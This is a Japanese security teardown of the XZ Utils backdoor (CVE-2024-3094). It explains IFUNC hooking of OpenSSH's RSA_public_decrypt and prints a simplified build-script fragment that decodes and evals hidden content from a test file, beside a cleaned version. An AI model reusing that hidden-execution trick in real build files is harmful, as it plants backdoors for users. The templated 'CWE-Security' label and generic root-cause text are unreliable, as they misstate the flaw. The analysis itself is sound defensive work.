flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · 緊急
セキュリティ研究 · FlawOpen

技術解説とコード分析:CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

CVE-2024-3094(XZ Utils バックドア)の技術的ソースコード解説:liblzmaのIFUNCリゾルバ改ざんによりOpenSSH認証が密かに無力化された詳細手口。

💡 わかりやすい解説 (ELI5)

ある銀行が標準的な配管パイプを使って金庫を作ったとします。公式の設計図は極めて安全です。しかし、出荷用の木箱を梱包する作業員が、パイプの内側に目に見えない極細の電子ワイヤーを仕込みました。そのパイプがLinux環境で組み立てられると、ワイヤーは銀行の正面玄関の電子錠(OpenSSH)に密かに接続され、作業員は秘密のリモコンでいつでも金庫を開けられるようになります。CVE-2024-3094では、リリース用tarballのビルドスクリプト内にバックドアが巧妙に隠蔽され、SSH経由で未認証rootアクセスを可能にしていました。

主要な概念と専門用語

Open Source Systems
主要概念 (Open Source Systems):Core architecture component affected by CWE-Security.
CWE-Security
主要概念 (CWE-Security):Standard Common Weakness Enumeration classification for cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
主要概念 (Defense-in-Depth):Multi-layered engineering verification and runtime boundary isolation.

根本原因の分析 (Root Cause)

根本原因は、オープンソースシステムにおける未検証の境界パラメータに起因し、状態の非同期化とセキュリティ制御の迂回を可能にします。

ステップ・バイ・ステップの攻撃フロー

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

ソースコード比較:脆弱 vs 堅牢化

✕ 脆弱な実装
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ 堅牢化されたセキュアパッチ
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

エンジニアリング&システム堅牢化チェックリスト